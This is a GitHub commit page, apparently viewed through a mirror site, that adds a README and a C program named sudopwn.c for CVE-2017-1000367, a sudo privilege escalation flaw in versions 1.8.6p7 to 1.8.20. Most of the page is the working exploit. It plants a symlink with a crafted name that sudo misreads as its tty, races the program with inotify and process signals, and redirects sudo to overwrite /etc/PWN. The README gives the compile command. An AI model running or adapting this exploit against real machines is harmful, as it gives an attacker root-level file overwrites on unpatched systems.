Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 5dd8f0d

Browse files
committed
1 parent 09616e2 commit 5dd8f0d

File tree

2 files changed

+130
-0
lines changed

2 files changed

+130
-0
lines changed

CVE-2017-1000367/README.md

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
# CVE-2017-1000367
2+
CVE-2017-1000367
3+
4+
5+
Vulnerability reference:
6+
* [CVE-2017-1000367](https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-1000367.html)
7+
8+
## sudo
9+
```
10+
Sudo 1.8.6p7 - 1.8.20
11+
```
12+
13+
## Usage
14+
```
15+
- Compile: gcc -lutil -o sudopwn sudopwn.c
16+
```
17+
18+
19+
## References
20+
* [CVE-2017-1000367 in Sudo's get_process_ttyname() for Linux](http://www.openwall.com/lists/oss-security/2017/05/30/16)
21+
* [Linux security alert: Bug in sudo’s get_process_ttyname()](https://www.cyberciti.biz/security/linux-security-alert-bug-in-sudos-get_process_ttyname-cve-2017-1000367/)
22+
23+
24+
25+
26+

CVE-2017-1000367/sudopwn.c

Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
#define _GNU_SOURCE
2+
#include <errno.h>
3+
#include <linux/sched.h>
4+
#include <pty.h>
5+
#include <sched.h>
6+
#include <signal.h>
7+
#include <stdio.h>
8+
#include <stdlib.h>
9+
#include <string.h>
10+
#include <sys/inotify.h>
11+
#include <sys/resource.h>
12+
#include <sys/stat.h>
13+
#include <sys/types.h>
14+
#include <unistd.h>
15+
#include <sys/wait.h>
16+
17+
#define EVENT_SIZE ( sizeof (struct inotify_event) )
18+
#define EVENT_BUF_LEN ( 1024 * ( EVENT_SIZE + 16 ) )
19+
20+
21+
int main( )
22+
{
23+
24+
int length, i = 0;
25+
int fd;
26+
int wd;
27+
char buffer[EVENT_BUF_LEN];
28+
29+
int master, slave;
30+
char pts_path[256];
31+
32+
cpu_set_t mask;
33+
struct sched_param params;
34+
params.sched_priority = 0;
35+
CPU_ZERO(&mask);
36+
CPU_SET(0, &mask);
37+
38+
mkdir("/dev/shm/_tmp", 0755);
39+
symlink("/dev/pts/57", "/dev/shm/_tmp/_tty");
40+
symlink("/usr/bin/sudo", "/dev/shm/_tmp/ 34873 ");
41+
42+
fd = inotify_init();
43+
wd = inotify_add_watch( fd, "/dev/shm/_tmp", IN_OPEN | IN_CLOSE_NOWRITE );
44+
45+
pid_t pid = fork();
46+
47+
if(pid == 0) {
48+
sched_setaffinity(pid, sizeof(mask), &mask);
49+
sched_setscheduler(pid, SCHED_IDLE, &params);
50+
setpriority(PRIO_PROCESS, pid, 19);
51+
52+
sleep(1);
53+
execlp("/dev/shm/_tmp/ 34873 ", "sudo", "-r", "unconfined_r", "/usr/bin/sum $'--\nHELLO\nWORLD\n'", NULL);
54+
}else{
55+
setpriority(PRIO_PROCESS, 0, -20);
56+
int state = 0;
57+
while(1) {
58+
length = read( fd, buffer, EVENT_BUF_LEN );
59+
kill(pid, SIGSTOP);
60+
61+
i=0;
62+
while ( i < length ) {
63+
struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ];
64+
65+
if ( event->mask & IN_OPEN ) {
66+
//kill(pid, SIGSTOP);
67+
68+
while(strcmp(pts_path,"/dev/pts/57")){
69+
openpty(&master, &slave, &pts_path[0], NULL, NULL);
70+
};
71+
//kill(pid, SIGCONT);
72+
break;
73+
74+
}else if ( event->mask & IN_CLOSE_NOWRITE ) {
75+
//kill(pid, SIGSTOP);
76+
77+
unlink("/dev/shm/_tmp/_tty");
78+
symlink("/etc/PWN", "/dev/shm/_tmp/_tty");
79+
//kill(pid, SIGCONT);
80+
81+
state = 1;
82+
break;
83+
}
84+
85+
i += EVENT_SIZE + event->len;
86+
87+
}
88+
kill(pid, SIGCONT);
89+
if(state == 1) break;
90+
}
91+
92+
waitpid(pid, NULL, 0);
93+
inotify_rm_watch( fd, wd );
94+
close( fd );
95+
close(wd);
96+
97+
unlink("/dev/shm/_tmp/_tty");
98+
unlink("/dev/shm/_tmp/ 34873 ");
99+
rmdir("/dev/shm/_tmp");
100+
close(master);
101+
close(slave);
102+
}
103+
104+
}

0 commit comments

Comments
 (0)